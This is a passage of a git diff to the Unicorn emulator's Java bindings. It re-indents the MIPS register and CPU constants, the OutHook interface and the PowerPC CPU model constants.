UC_CPU_MIPS64_VR5432 = 1; - public static final int UC_CPU_MIPS64_5KC = 2; - public static final int UC_CPU_MIPS64_5KF = 3; - public static final int UC_CPU_MIPS64_20KC = 4; - public static final int UC_CPU_MIPS64_MIPS64R2_GENERIC = 5; - public static final int UC_CPU_MIPS64_5KEC = 6; - public static final int UC_CPU_MIPS64_5KEF = 7; - public static final int UC_CPU_MIPS64_I6400 = 8; - public static final int UC_CPU_MIPS64_I6500 = 9; - public static final int UC_CPU_MIPS64_LOONGSON_2E = 10; - public static final int UC_CPU_MIPS64_LOONGSON_2F = 11; - public static final int UC_CPU_MIPS64_MIPS64DSPR2 = 12; - public static final int UC_CPU_MIPS64_ENDING = 13; + public static final int UC_CPU_MIPS64_R4000 = 0; + public static final int UC_CPU_MIPS64_VR5432 = 1; + public static final int UC_CPU_MIPS64_5KC = 2; + public static final int UC_CPU_MIPS64_5KF = 3; + public static final int UC_CPU_MIPS64_20KC = 4; + public static final int UC_CPU_MIPS64_MIPS64R2_GENERIC = 5; + public static final int UC_CPU_MIPS64_5KEC = 6; + public static final int UC_CPU_MIPS64_5KEF = 7; + public static final int UC_CPU_MIPS64_I6400 = 8; + public static final int UC_CPU_MIPS64_I6500 = 9; + public static final int UC_CPU_MIPS64_LOONGSON_2E = 10; + public static final int UC_CPU_MIPS64_LOONGSON_2F = 11; + public static final int UC_CPU_MIPS64_MIPS64DSPR2 = 12; + public static final int UC_CPU_MIPS64_ENDING = 13; -// MIPS registers + // MIPS registers - public static final int UC_MIPS_REG_INVALID = 0; + public static final int UC_MIPS_REG_INVALID = 0; -// General purpose registers - public static final int UC_MIPS_REG_PC = 1; - public static final int UC_MIPS_REG_0 = 2; - public static final int UC_MIPS_REG_1 = 3; - public static final int UC_MIPS_REG_2 = 4; - public static final int UC_MIPS_REG_3 = 5; - public static final int UC_MIPS_REG_4 = 6; - public static final int UC_MIPS_REG_5 = 7; - public static final int UC_MIPS_REG_6 = 8; - public static final int UC_MIPS_REG_7 = 9; - public static final int UC_MIPS_REG_8 = 10; - public static final int UC_MIPS_REG_9 = 11; - public static final int UC_MIPS_REG_10 = 12; - public static final int UC_MIPS_REG_11 = 13; - public static final int UC_MIPS_REG_12 = 14; - public static final int UC_MIPS_REG_13 = 15; - public static final int UC_MIPS_REG_14 = 16; - public static final int UC_MIPS_REG_15 = 17; - public static final int UC_MIPS_REG_16 = 18; - public static final int UC_MIPS_REG_17 = 19; - public static final int UC_MIPS_REG_18 = 20; - public static final int UC_MIPS_REG_19 = 21; - public static final int UC_MIPS_REG_20 = 22; - public static final int UC_MIPS_REG_21 = 23; - public static final int UC_MIPS_REG_22 = 24; - public static final int UC_MIPS_REG_23 = 25; - public static final int UC_MIPS_REG_24 = 26; - public static final int UC_MIPS_REG_25 = 27; - public static final int UC_MIPS_REG_26 = 28; - public static final int UC_MIPS_REG_27 = 29; - public static final int UC_MIPS_REG_28 = 30; - public static final int UC_MIPS_REG_29 = 31; - public static final int UC_MIPS_REG_30 = 32; - public static final int UC_MIPS_REG_31 = 33; + // General purpose registers + public static final int UC_MIPS_REG_PC = 1; + public static final int UC_MIPS_REG_0 = 2; + public static final int UC_MIPS_REG_1 = 3; + public static final int UC_MIPS_REG_2 = 4; + public static final int UC_MIPS_REG_3 = 5; + public static final int UC_MIPS_REG_4 = 6; + public static final int UC_MIPS_REG_5 = 7; + public static final int UC_MIPS_REG_6 = 8; + public static final int UC_MIPS_REG_7 = 9; + public static final int UC_MIPS_REG_8 = 10; + public static final int UC_MIPS_REG_9 = 11; + public static final int UC_MIPS_REG_10 = 12; + public static final int UC_MIPS_REG_11 = 13; + public static final int UC_MIPS_REG_12 = 14; + public static final int UC_MIPS_REG_13 = 15; + public static final int UC_MIPS_REG_14 = 16; + public static final int UC_MIPS_REG_15 = 17; + public static final int UC_MIPS_REG_16 = 18; + public static final int UC_MIPS_REG_17 = 19; + public static final int UC_MIPS_REG_18 = 20; + public static final int UC_MIPS_REG_19 = 21; + public static final int UC_MIPS_REG_20 = 22; + public static final int UC_MIPS_REG_21 = 23; + public static final int UC_MIPS_REG_22 = 24; + public static final int UC_MIPS_REG_23 = 25; + public static final int UC_MIPS_REG_24 = 26; + public static final int UC_MIPS_REG_25 = 27; + public static final int UC_MIPS_REG_26 = 28; + public static final int UC_MIPS_REG_27 = 29; + public static final int UC_MIPS_REG_28 = 30; + public static final int UC_MIPS_REG_29 = 31; + public static final int UC_MIPS_REG_30 = 32; + public static final int UC_MIPS_REG_31 = 33; -// DSP registers - public static final int UC_MIPS_REG_DSPCCOND = 34; - public static final int UC_MIPS_REG_DSPCARRY = 35; - public static final int UC_MIPS_REG_DSPEFI = 36; - public static final int UC_MIPS_REG_DSPOUTFLAG = 37; - public static final int UC_MIPS_REG_DSPOUTFLAG16_19 = 38; - public static final int UC_MIPS_REG_DSPOUTFLAG20 = 39; - public static final int UC_MIPS_REG_DSPOUTFLAG21 = 40; - public static final int UC_MIPS_REG_DSPOUTFLAG22 = 41; - public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42; - public static final int UC_MIPS_REG_DSPPOS = 43; - public static final int UC_MIPS_REG_DSPSCOUNT = 44; + // DSP registers + public static final int UC_MIPS_REG_DSPCCOND = 34; + public static final int UC_MIPS_REG_DSPCARRY = 35; + public static final int UC_MIPS_REG_DSPEFI = 36; + public static final int UC_MIPS_REG_DSPOUTFLAG = 37; + public static final int UC_MIPS_REG_DSPOUTFLAG16_19 = 38; + public static final int UC_MIPS_REG_DSPOUTFLAG20 = 39; + public static final int UC_MIPS_REG_DSPOUTFLAG21 = 40; + public static final int UC_MIPS_REG_DSPOUTFLAG22 = 41; + public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42; + public static final int UC_MIPS_REG_DSPPOS = 43; + public static final int UC_MIPS_REG_DSPSCOUNT = 44; -// ACC registers - public static final int UC_MIPS_REG_AC0 = 45; - public static final int UC_MIPS_REG_AC1 = 46; - public static final int UC_MIPS_REG_AC2 = 47; - public static final int UC_MIPS_REG_AC3 = 48; + // ACC registers + public static final int UC_MIPS_REG_AC0 = 45; + public static final int UC_MIPS_REG_AC1 = 46; + public static final int UC_MIPS_REG_AC2 = 47; + public static final int UC_MIPS_REG_AC3 = 48; -// COP registers - public static final int UC_MIPS_REG_CC0 = 49; - public static final int UC_MIPS_REG_CC1 = 50; - public static final int UC_MIPS_REG_CC2 = 51; - public static final int UC_MIPS_REG_CC3 = 52; - public static final int UC_MIPS_REG_CC4 = 53; - public static final int UC_MIPS_REG_CC5 = 54; - public static final int UC_MIPS_REG_CC6 = 55; - public static final int UC_MIPS_REG_CC7 = 56; + // COP registers + public static final int UC_MIPS_REG_CC0 = 49; + public static final int UC_MIPS_REG_CC1 = 50; + public static final int UC_MIPS_REG_CC2 = 51; + public static final int UC_MIPS_REG_CC3 = 52; + public static final int UC_MIPS_REG_CC4 = 53; + public static final int UC_MIPS_REG_CC5 = 54; + public static final int UC_MIPS_REG_CC6 = 55; + public static final int UC_MIPS_REG_CC7 = 56; -// FPU registers - public static final int UC_MIPS_REG_F0 = 57; - public static final int UC_MIPS_REG_F1 = 58; - public static final int UC_MIPS_REG_F2 = 59; - public static final int UC_MIPS_REG_F3 = 60; - public static final int UC_MIPS_REG_F4 = 61; - public static final int UC_MIPS_REG_F5 = 62; - public static final int UC_MIPS_REG_F6 = 63; - public static final int UC_MIPS_REG_F7 = 64; - public static final int UC_MIPS_REG_F8 = 65; - public static final int UC_MIPS_REG_F9 = 66; - public static final int UC_MIPS_REG_F10 = 67; - public static final int UC_MIPS_REG_F11 = 68; - public static final int UC_MIPS_REG_F12 = 69; - public static final int UC_MIPS_REG_F13 = 70; - public static final int UC_MIPS_REG_F14 = 71; - public static final int UC_MIPS_REG_F15 = 72; - public static final int UC_MIPS_REG_F16 = 73; - public static final int UC_MIPS_REG_F17 = 74; - public static final int UC_MIPS_REG_F18 = 75; - public static final int UC_MIPS_REG_F19 = 76; - public static final int UC_MIPS_REG_F20 = 77; - public static final int UC_MIPS_REG_F21 = 78; - public static final int UC_MIPS_REG_F22 = 79; - public static final int UC_MIPS_REG_F23 = 80; - public static final int UC_MIPS_REG_F24 = 81; - public static final int UC_MIPS_REG_F25 = 82; - public static final int UC_MIPS_REG_F26 = 83; - public static final int UC_MIPS_REG_F27 = 84; - public static final int UC_MIPS_REG_F28 = 85; - public static final int UC_MIPS_REG_F29 = 86; - public static final int UC_MIPS_REG_F30 = 87; - public static final int UC_MIPS_REG_F31 = 88; - public static final int UC_MIPS_REG_FCC0 = 89; - public static final int UC_MIPS_REG_FCC1 = 90; - public static final int UC_MIPS_REG_FCC2 = 91; - public static final int UC_MIPS_REG_FCC3 = 92; - public static final int UC_MIPS_REG_FCC4 = 93; - public static final int UC_MIPS_REG_FCC5 = 94; - public static final int UC_MIPS_REG_FCC6 = 95; - public static final int UC_MIPS_REG_FCC7 = 96; + // FPU registers + public static final int UC_MIPS_REG_F0 = 57; + public static final int UC_MIPS_REG_F1 = 58; + public static final int UC_MIPS_REG_F2 = 59; + public static final int UC_MIPS_REG_F3 = 60; + public static final int UC_MIPS_REG_F4 = 61; + public static final int UC_MIPS_REG_F5 = 62; + public static final int UC_MIPS_REG_F6 = 63; + public static final int UC_MIPS_REG_F7 = 64; + public static final int UC_MIPS_REG_F8 = 65; + public static final int UC_MIPS_REG_F9 = 66; + public static final int UC_MIPS_REG_F10 = 67; + public static final int UC_MIPS_REG_F11 = 68; + public static final int UC_MIPS_REG_F12 = 69; + public static final int UC_MIPS_REG_F13 = 70; + public static final int UC_MIPS_REG_F14 = 71; + public static final int UC_MIPS_REG_F15 = 72; + public static final int UC_MIPS_REG_F16 = 73; + public static final int UC_MIPS_REG_F17 = 74; + public static final int UC_MIPS_REG_F18 = 75; + public static final int UC_MIPS_REG_F19 = 76; + public static final int UC_MIPS_REG_F20 = 77; + public static final int UC_MIPS_REG_F21 = 78; + public static final int UC_MIPS_REG_F22 = 79; + public static final int UC_MIPS_REG_F23 = 80; + public static final int UC_MIPS_REG_F24 = 81; + public static final int UC_MIPS_REG_F25 = 82; + public static final int UC_MIPS_REG_F26 = 83; + public static final int UC_MIPS_REG_F27 = 84; + public static final int UC_MIPS_REG_F28 = 85; + public static final int UC_MIPS_REG_F29 = 86; + public static final int UC_MIPS_REG_F30 = 87; + public static final int UC_MIPS_REG_F31 = 88; + public static final int UC_MIPS_REG_FCC0 = 89; + public static final int UC_MIPS_REG_FCC1 = 90; + public static final int UC_MIPS_REG_FCC2 = 91; + public static final int UC_MIPS_REG_FCC3 = 92; + public static final int UC_MIPS_REG_FCC4 = 93; + public static final int UC_MIPS_REG_FCC5 = 94; + public static final int UC_MIPS_REG_FCC6 = 95; + public static final int UC_MIPS_REG_FCC7 = 96; -// AFPR128 - public static final int UC_MIPS_REG_W0 = 97; - public static final int UC_MIPS_REG_W1 = 98; - public static final int UC_MIPS_REG_W2 = 99; - public static final int UC_MIPS_REG_W3 = 100; - public static final int UC_MIPS_REG_W4 = 101; - public static final int UC_MIPS_REG_W5 = 102; - public static final int UC_MIPS_REG_W6 = 103; - public static final int UC_MIPS_REG_W7 = 104; - public static final int UC_MIPS_REG_W8 = 105; - public static final int UC_MIPS_REG_W9 = 106; - public static final int UC_MIPS_REG_W10 = 107; - public static final int UC_MIPS_REG_W11 = 108; - public static final int UC_MIPS_REG_W12 = 109; - public static final int UC_MIPS_REG_W13 = 110; - public static final int UC_MIPS_REG_W14 = 111; - public static final int UC_MIPS_REG_W15 = 112; - public static final int UC_MIPS_REG_W16 = 113; - public static final int UC_MIPS_REG_W17 = 114; - public static final int UC_MIPS_REG_W18 = 115; - public static final int UC_MIPS_REG_W19 = 116; - public static final int UC_MIPS_REG_W20 = 117; - public static final int UC_MIPS_REG_W21 = 118; - public static final int UC_MIPS_REG_W22 = 119; - public static final int UC_MIPS_REG_W23 = 120; - public static final int UC_MIPS_REG_W24 = 121; - public static final int UC_MIPS_REG_W25 = 122; - public static final int UC_MIPS_REG_W26 = 123; - public static final int UC_MIPS_REG_W27 = 124; - public static final int UC_MIPS_REG_W28 = 125; - public static final int UC_MIPS_REG_W29 = 126; - public static final int UC_MIPS_REG_W30 = 127; - public static final int UC_MIPS_REG_W31 = 128; - public static final int UC_MIPS_REG_HI = 129; - public static final int UC_MIPS_REG_LO = 130; - public static final int UC_MIPS_REG_P0 = 131; - public static final int UC_MIPS_REG_P1 = 132; - public static final int UC_MIPS_REG_P2 = 133; - public static final int UC_MIPS_REG_MPL0 = 134; - public static final int UC_MIPS_REG_MPL1 = 135; - public static final int UC_MIPS_REG_MPL2 = 136; - public static final int UC_MIPS_REG_CP0_CONFIG3 = 137; - public static final int UC_MIPS_REG_CP0_USERLOCAL = 138; - public static final int UC_MIPS_REG_CP0_STATUS = 139; - public static final int UC_MIPS_REG_ENDING = 140; - public static final int UC_MIPS_REG_ZERO = 2; - public static final int UC_MIPS_REG_AT = 3; - public static final int UC_MIPS_REG_V0 = 4; - public static final int UC_MIPS_REG_V1 = 5; - public static final int UC_MIPS_REG_A0 = 6; - public static final int UC_MIPS_REG_A1 = 7; - public static final int UC_MIPS_REG_A2 = 8; - public static final int UC_MIPS_REG_A3 = 9; - public static final int UC_MIPS_REG_T0 = 10; - public static final int UC_MIPS_REG_T1 = 11; - public static final int UC_MIPS_REG_T2 = 12; - public static final int UC_MIPS_REG_T3 = 13; - public static final int UC_MIPS_REG_T4 = 14; - public static final int UC_MIPS_REG_T5 = 15; - public static final int UC_MIPS_REG_T6 = 16; - public static final int UC_MIPS_REG_T7 = 17; - public static final int UC_MIPS_REG_S0 = 18; - public static final int UC_MIPS_REG_S1 = 19; - public static final int UC_MIPS_REG_S2 = 20; - public static final int UC_MIPS_REG_S3 = 21; - public static final int UC_MIPS_REG_S4 = 22; - public static final int UC_MIPS_REG_S5 = 23; - public static final int UC_MIPS_REG_S6 = 24; - public static final int UC_MIPS_REG_S7 = 25; - public static final int UC_MIPS_REG_T8 = 26; - public static final int UC_MIPS_REG_T9 = 27; - public static final int UC_MIPS_REG_K0 = 28; - public static final int UC_MIPS_REG_K1 = 29; - public static final int UC_MIPS_REG_GP = 30; - public static final int UC_MIPS_REG_SP = 31; - public static final int UC_MIPS_REG_FP = 32; - public static final int UC_MIPS_REG_S8 = 32; - public static final int UC_MIPS_REG_RA = 33; - public static final int UC_MIPS_REG_HI0 = 45; - public static final int UC_MIPS_REG_HI1 = 46; - public static final int UC_MIPS_REG_HI2 = 47; - public static final int UC_MIPS_REG_HI3 = 48; - public static final int UC_MIPS_REG_LO0 = 45; - public static final int UC_MIPS_REG_LO1 = 46; - public static final int UC_MIPS_REG_LO2 = 47; - public static final int UC_MIPS_REG_LO3 = 48; + // AFPR128 + public static final int UC_MIPS_REG_W0 = 97; + public static final int UC_MIPS_REG_W1 = 98; + public static final int UC_MIPS_REG_W2 = 99; + public static final int UC_MIPS_REG_W3 = 100; + public static final int UC_MIPS_REG_W4 = 101; + public static final int UC_MIPS_REG_W5 = 102; + public static final int UC_MIPS_REG_W6 = 103; + public static final int UC_MIPS_REG_W7 = 104; + public static final int UC_MIPS_REG_W8 = 105; + public static final int UC_MIPS_REG_W9 = 106; + public static final int UC_MIPS_REG_W10 = 107; + public static final int UC_MIPS_REG_W11 = 108; + public static final int UC_MIPS_REG_W12 = 109; + public static final int UC_MIPS_REG_W13 = 110; + public static final int UC_MIPS_REG_W14 = 111; + public static final int UC_MIPS_REG_W15 = 112; + public static final int UC_MIPS_REG_W16 = 113; + public static final int UC_MIPS_REG_W17 = 114; + public static final int UC_MIPS_REG_W18 = 115; + public static final int UC_MIPS_REG_W19 = 116; + public static final int UC_MIPS_REG_W20 = 117; + public static final int UC_MIPS_REG_W21 = 118; + public static final int UC_MIPS_REG_W22 = 119; + public static final int UC_MIPS_REG_W23 = 120; + public static final int UC_MIPS_REG_W24 = 121; + public static final int UC_MIPS_REG_W25 = 122; + public static final int UC_MIPS_REG_W26 = 123; + public static final int UC_MIPS_REG_W27 = 124; + public static final int UC_MIPS_REG_W28 = 125; + public static final int UC_MIPS_REG_W29 = 126; + public static final int UC_MIPS_REG_W30 = 127; + public static final int UC_MIPS_REG_W31 = 128; + public static final int UC_MIPS_REG_HI = 129; + public static final int UC_MIPS_REG_LO = 130; + public static final int UC_MIPS_REG_P0 = 131; + public static final int UC_MIPS_REG_P1 = 132; + public static final int UC_MIPS_REG_P2 = 133; + public static final int UC_MIPS_REG_MPL0 = 134; + public static final int UC_MIPS_REG_MPL1 = 135; + public static final int UC_MIPS_REG_MPL2 = 136; + public static final int UC_MIPS_REG_CP0_CONFIG3 = 137; + public static final int UC_MIPS_REG_CP0_USERLOCAL = 138; + public static final int UC_MIPS_REG_CP0_STATUS = 139; + public static final int UC_MIPS_REG_ENDING = 140; + public static final int UC_MIPS_REG_ZERO = 2; + public static final int UC_MIPS_REG_AT = 3; + public static final int UC_MIPS_REG_V0 = 4; + public static final int UC_MIPS_REG_V1 = 5; + public static final int UC_MIPS_REG_A0 = 6; + public static final int UC_MIPS_REG_A1 = 7; + public static final int UC_MIPS_REG_A2 = 8; + public static final int UC_MIPS_REG_A3 = 9; + public static final int UC_MIPS_REG_T0 = 10; + public static final int UC_MIPS_REG_T1 = 11; + public static final int UC_MIPS_REG_T2 = 12; + public static final int UC_MIPS_REG_T3 = 13; + public static final int UC_MIPS_REG_T4 = 14; + public static final int UC_MIPS_REG_T5 = 15; + public static final int UC_MIPS_REG_T6 = 16; + public static final int UC_MIPS_REG_T7 = 17; + public static final int UC_MIPS_REG_S0 = 18; + public static final int UC_MIPS_REG_S1 = 19; + public static final int UC_MIPS_REG_S2 = 20; + public static final int UC_MIPS_REG_S3 = 21; + public static final int UC_MIPS_REG_S4 = 22; + public static final int UC_MIPS_REG_S5 = 23; + public static final int UC_MIPS_REG_S6 = 24; + public static final int UC_MIPS_REG_S7 = 25; + public static final int UC_MIPS_REG_T8 = 26; + public static final int UC_MIPS_REG_T9 = 27; + public static final int UC_MIPS_REG_K0 = 28; + public static final int UC_MIPS_REG_K1 = 29; + public static final int UC_MIPS_REG_GP = 30; + public static final int UC_MIPS_REG_SP = 31; + public static final int UC_MIPS_REG_FP = 32; + public static final int UC_MIPS_REG_S8 = 32; + public static final int UC_MIPS_REG_RA = 33; + public static final int UC_MIPS_REG_HI0 = 45; + public static final int UC_MIPS_REG_HI1 = 46; + public static final int UC_MIPS_REG_HI2 = 47; + public static final int UC_MIPS_REG_HI3 = 48; + public static final int UC_MIPS_REG_LO0 = 45; + public static final int UC_MIPS_REG_LO1 = 46; + public static final int UC_MIPS_REG_LO2 = 47; + public static final int UC_MIPS_REG_LO3 = 48; } diff --git a/bindings/java/unicorn/OutHook.java b/bindings/java/unicorn/OutHook.java index 94c050f9..674e88e3 100644 --- a/bindings/java/unicorn/OutHook.java +++ b/bindings/java/unicorn/OutHook.java @@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface OutHook extends Hook { - - public void hook(Unicorn u, int port, int size, int value, Object user); - + public void hook(Unicorn u, int port, int size, int value, Object user); } - diff --git a/bindings/java/unicorn/PpcConst.java b/bindings/java/unicorn/PpcConst.java index 65ef72a1..594e165b 100644 --- a/bindings/java/unicorn/PpcConst.java +++ b/bindings/java/unicorn/PpcConst.java @@ -4,407 +4,407 @@ package unicorn; public interface PpcConst { -// PPC CPU + // PPC CPU - public static final int UC_CPU_PPC32_401 = 0; - public static final int UC_CPU_PPC32_401A1 = 1; - public static final int UC_CPU_PPC32_401B2 = 2; - public static final int UC_CPU_PPC32_401C2 = 3; - public static final int UC_CPU_PPC32_401D2 = 4; - public static final int UC_CPU_PPC32_401E2 = 5; - public static final int UC_CPU_PPC32_401F2 = 6; - public static final int UC_CPU_PPC32_401G2 = 7; - public static final int UC_CPU_PPC32_IOP480 = 8; - public static final int UC_CPU_PPC32_COBRA = 9; - public static final int UC_CPU_PPC32_403GA = 10; - public static final int UC_CPU_PPC32_403GB = 11; - public static final int UC_CPU_PPC32_403GC = 12; - public static final int UC_CPU_PPC32_403GCX = 13; - public static final int UC_CPU_PPC32_405D2 = 14; - public static final int UC_CPU_PPC32_405D4 = 15; - public static final int UC_CPU_PPC32_405CRA = 16; - public static final int UC_CPU_PPC32_405CRB = 17; - public static final int UC_CPU_PPC32_405CRC = 18; - public static final int UC_CPU_PPC32_405EP = 19; - public static final int UC_CPU_PPC32_405EZ = 20; - public static final int UC_CPU_PPC32_405GPA = 21; - public static final int UC_CPU_PPC32_405GPB = 22; - public static final int UC_CPU_PPC32_405GPC = 23; - public static final int UC_CPU_PPC32_405GPD = 24; - public static final int UC_CPU_PPC32_405GPR = 25; - public static final int UC_CPU_PPC32_405LP = 26; - public static final int UC_CPU_PPC32_NPE405H = 27; - public static final int UC_CPU_PPC32_NPE405H2 = 28; - public static final int UC_CPU_PPC32_NPE405L = 29; - public static final int UC_CPU_PPC32_NPE4GS3 = 30; - public static final int UC_CPU_PPC32_STB03 = 31; - public static final int UC_CPU_PPC32_STB04 = 32; - public static final int UC_CPU_PPC32_STB25 = 33; - public static final int UC_CPU_PPC32_X2VP4 = 34; - public static final int UC_CPU_PPC32_X2VP20 = 35; - public static final int UC_CPU_PPC32_440_XILINX = 36; - public static final int UC_CPU_PPC32_440_XILINX_W_DFPU = 37; - public static final int UC_CPU_PPC32_440EPA = 38; - public static final int UC_CPU_PPC32_440EPB = 39; - public static final int UC_CPU_PPC32_440EPX = 40; - public static final int UC_CPU_PPC32_460EXB = 41; - public static final int UC_CPU_PPC32_G2 = 42; - public static final int UC_CPU_PPC32_G2H4 = 43; - public static final int UC_CPU_PPC32_G2GP = 44; - public static final int UC_CPU_PPC32_G2LS = 45; - public static final int UC_CPU_PPC32_G2HIP3 = 46; - public static final int UC_CPU_PPC32_G2HIP4 = 47; - public static final int UC_CPU_PPC32_MPC603 = 48; - public static final int UC_CPU_PPC32_G2LE = 49; - public static final int UC_CPU_PPC32_G2LEGP = 50; - public static final int UC_CPU_PPC32_G2LELS = 51; - public static final int UC_CPU_PPC32_G2LEGP1 = 52; - public static final int UC_CPU_PPC32_G2LEGP3 = 53; - public static final int UC_CPU_PPC32_MPC5200_V10 = 54; - public static final int UC_CPU_PPC32_MPC5200_V11 = 55; - public static final int UC_CPU_PPC32_MPC5200_V12 = 56; - public static final int UC_CPU_PPC32_MPC5200B_V20 = 57; - public static final int UC_CPU_PPC32_MPC5200B_V21 = 58; - public static final int UC_CPU_PPC32_E200Z5 = 59; - public static final int UC_CPU_PPC32_E200Z6 = 60; - public static final int UC_CPU_PPC32_E300C1 = 61; - public static final int UC_CPU_PPC32_E300C2 = 62; - public static final int UC_CPU_PPC32_E300C3 = 63; - public static final int UC_CPU_PPC32_E300C4 = 64; - public static final int UC_CPU_PPC32_MPC8343 = 65; - public static final int UC_CPU_PPC32_MPC8343A = 66; - public static final int UC_CPU_PPC32_MPC8343E = 67; - public static final int UC_CPU_PPC32_MPC8343EA = 68; - public static final int UC_CPU_PPC32_MPC8347T = 69; - public static final int UC_CPU_PPC32_MPC8347P = 70; - public static final int UC_CPU_PPC32_MPC8347AT = 71; - public static final int UC_CPU_PPC32_MPC8347AP = 72; - public static final int UC_CPU_PPC32_MPC8347ET = 73; - public static final int UC_CPU_PPC32_MPC8347EP = 74; - public static final int UC_CPU_PPC32_MPC8347EAT = 75; - public static final int UC_CPU_PPC32_MPC8347EAP = 76; - public static final int UC_CPU_PPC32_MPC8349 = 77; - public static final int UC_CPU_PPC32_MPC8349A = 78; - public static final int UC_CPU_PPC32_MPC8349E = 79; - public static final int UC_CPU_PPC32_MPC8349EA = 80; - public static final int UC_CPU_PPC32_MPC8377 = 81; - public static final int UC_CPU_PPC32_MPC8377E = 82; - public static final int UC_CPU_PPC32_MPC8378 = 83; - public static final int UC_CPU_PPC32_MPC8378E = 84; - public static final int UC_CPU_PPC32_MPC8379 = 85; - public static final int UC_CPU_PPC32_MPC8379E = 86; - public static final int UC_CPU_PPC32_E500_V10 = 87; - public static final int UC_CPU_PPC32_E500_V20 = 88; - public static final int UC_CPU_PPC32_E500V2_V10 = 89; - public static final int UC_CPU_PPC32_E500V2_V20 = 90; - public static final int UC_CPU_PPC32_E500V2_V21 = 91; - public static final int UC_CPU_PPC32_E500V2_V22 = 92; - public static final int UC_CPU_PPC32_E500V2_V30 = 93; - public static final int UC_CPU_PPC32_E500MC = 94; - public static final int UC_CPU_PPC32_MPC8533_V10 = 95; - public static final int UC_CPU_PPC32_MPC8533_V11 = 96; - public static final int UC_CPU_PPC32_MPC8533E_V10 = 97; - public static final int UC_CPU_PPC32_MPC8533E_V11 = 98; - public static final int UC_CPU_PPC32_MPC8540_V10 = 99; - public static final int UC_CPU_PPC32_MPC8540_V20 = 100; - public static final int UC_CPU_PPC32_MPC8540_V21 = 101; - public static final int UC_CPU_PPC32_MPC8541_V10 = 102; - public static final int UC_CPU_PPC32_MPC8541_V11 = 103; - public static final int UC_CPU_PPC32_MPC8541E_V10 = 104; - public static final int UC_CPU_PPC32_MPC8541E_V11 = 105; - public static final int UC_CPU_PPC32_MPC8543_V10 = 106; - public static final int UC_CPU_PPC32_MPC8543_V11 = 107; - public static final int UC_CPU_PPC32_MPC8543_V20 = 108; - public static final int UC_CPU_PPC32_MPC8543_V21 = 109; - public static final int UC_CPU_PPC32_MPC8543E_V10 = 110; - public static final int UC_CPU_PPC32_MPC8543E_V11 = 111; - public static final int UC_CPU_PPC32_MPC8543E_V20 = 112; - public static final int UC_CPU_PPC32_MPC8543E_V21 = 113; - public static final int UC_CPU_PPC32_MPC8544_V10 = 114; - public static final int UC_CPU_PPC32_MPC8544_V11 = 115; - public static final int UC_CPU_PPC32_MPC8544E_V10 = 116; - public static final int UC_CPU_PPC32_MPC8544E_V11 = 117; - public static final int UC_CPU_PPC32_MPC8545_V20 = 118; - public static final int UC_CPU_PPC32_MPC8545_V21 = 119; - public static final int UC_CPU_PPC32_MPC8545E_V20 = 120; - public static final int UC_CPU_PPC32_MPC8545E_V21 = 121; - public static final int UC_CPU_PPC32_MPC8547E_V20 = 122; - public static final int UC_CPU_PPC32_MPC8547E_V21 = 123; - public static final int UC_CPU_PPC32_MPC8548_V10 = 124; - public static final int UC_CPU_PPC32_MPC8548_V11 = 125; - public static final int UC_CPU_PPC32_MPC8548_V20 = 126; - public static final int UC_CPU_PPC32_MPC8548_V21 = 127; - public static final int UC_CPU_PPC32_MPC8548E_V10 = 128; - public static final int UC_CPU_PPC32_MPC8548E_V11 = 129; - public static final int UC_CPU_PPC32_MPC8548E_V20 = 130; - public static final int UC_CPU_PPC32_MPC8548E_V21 = 131; - public static final int UC_CPU_PPC32_MPC8555_V10 = 132; - public static final int UC_CPU_PPC32_MPC8555_V11 = 133; - public static final int UC_CPU_PPC32_MPC8555E_V10 = 134; - public static final int UC_CPU_PPC32_MPC8555E_V11 = 135; - public static final int UC_CPU_PPC32_MPC8560_V10 = 136; - public static final int UC_CPU_PPC32_MPC8560_V20 = 137; - public static final int UC_CPU_PPC32_MPC8560_V21 = 138; - public static final int UC_CPU_PPC32_MPC8567 = 139; - public static final int UC_CPU_PPC32_MPC8567E = 140; - public static final int UC_CPU_PPC32_MPC8568 = 141; - public static final int UC_CPU_PPC32_MPC8568E = 142; - public static final int UC_CPU_PPC32_MPC8572 = 143; - public static final int UC_CPU_PPC32_MPC8572E = 144; - public static final int UC_CPU_PPC32_E600 = 145; - public static final int UC_CPU_PPC32_MPC8610 = 146; - public static final int UC_CPU_PPC32_MPC8641 = 147; - public static final int UC_CPU_PPC32_MPC8641D = 148; - public static final int UC_CPU_PPC32_601_V0 = 149; - public static final int UC_CPU_PPC32_601_V1 = 150; - public static final int UC_CPU_PPC32_601_V2 = 151; - public static final int UC_CPU_PPC32_602 = 152; - public static final int UC_CPU_PPC32_603 = 153; - public static final int UC_CPU_PPC32_603E_V1_1 = 154; - public static final int UC_CPU_PPC32_603E_V1_2 = 155; - public static final int UC_CPU_PPC32_603E_V1_3 = 156; - public static final int UC_CPU_PPC32_603E_V1_4 = 157; - public static final int UC_CPU_PPC32_603E_V2_2 = 158; - public static final int UC_CPU_PPC32_603E_V3 = 159; - public static final int UC_CPU_PPC32_603E_V4 = 160; - public static final int UC_CPU_PPC32_603E_V4_1 = 161; - public static final int UC_CPU_PPC32_603E7 = 162; - public static final int UC_CPU_PPC32_603E7T = 163; - public static final int UC_CPU_PPC32_603E7V = 164; - public static final int UC_CPU_PPC32_603E7V1 = 165; - public static final int UC_CPU_PPC32_603E7V2 = 166; - public static final int UC_CPU_PPC32_603P = 167; - public static final int UC_CPU_PPC32_604 = 168; - public static final int UC_CPU_PPC32_604E_V1_0 = 169; - public static final int UC_CPU_PPC32_604E_V2_2 = 170; - public static final int UC_CPU_PPC32_604E_V2_4 = 171; - public static final int UC_CPU_PPC32_604R = 172; - public static final int UC_CPU_PPC32_740_V1_0 = 173; - public static final int UC_CPU_PPC32_750_V1_0 = 174; - public static final int UC_CPU_PPC32_740_V2_0 = 175; - public static final int UC_CPU_PPC32_750_V2_0 = 176; - public static final int UC_CPU_PPC32_740_V2_1 = 177; - public static final int UC_CPU_PPC32_750_V2_1 = 178; - public static final int UC_CPU_PPC32_740_V2_2 = 179; - public static final int UC_CPU_PPC32_750_V2_2 = 180; - public static final int UC_CPU_PPC32_740_V3_0 = 181; - public static final int UC_CPU_PPC32_750_V3_0 = 182; - public static final int UC_CPU_PPC32_740_V3_1 = 183; - public static final int UC_CPU_PPC32_750_V3_1 = 184; - public static final int UC_CPU_PPC32_740E = 185; - public static final int UC_CPU_PPC32_750E = 186; - public static final int UC_CPU_PPC32_740P = 187; - public static final int 